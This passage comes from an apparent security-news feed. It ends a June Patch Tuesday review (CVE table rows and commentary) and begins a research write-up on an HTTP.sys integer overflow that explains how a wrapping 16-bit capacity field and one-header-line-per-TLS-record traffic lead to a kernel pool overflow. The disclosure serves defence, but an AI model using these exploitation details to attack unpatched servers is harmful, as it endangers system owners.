  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p 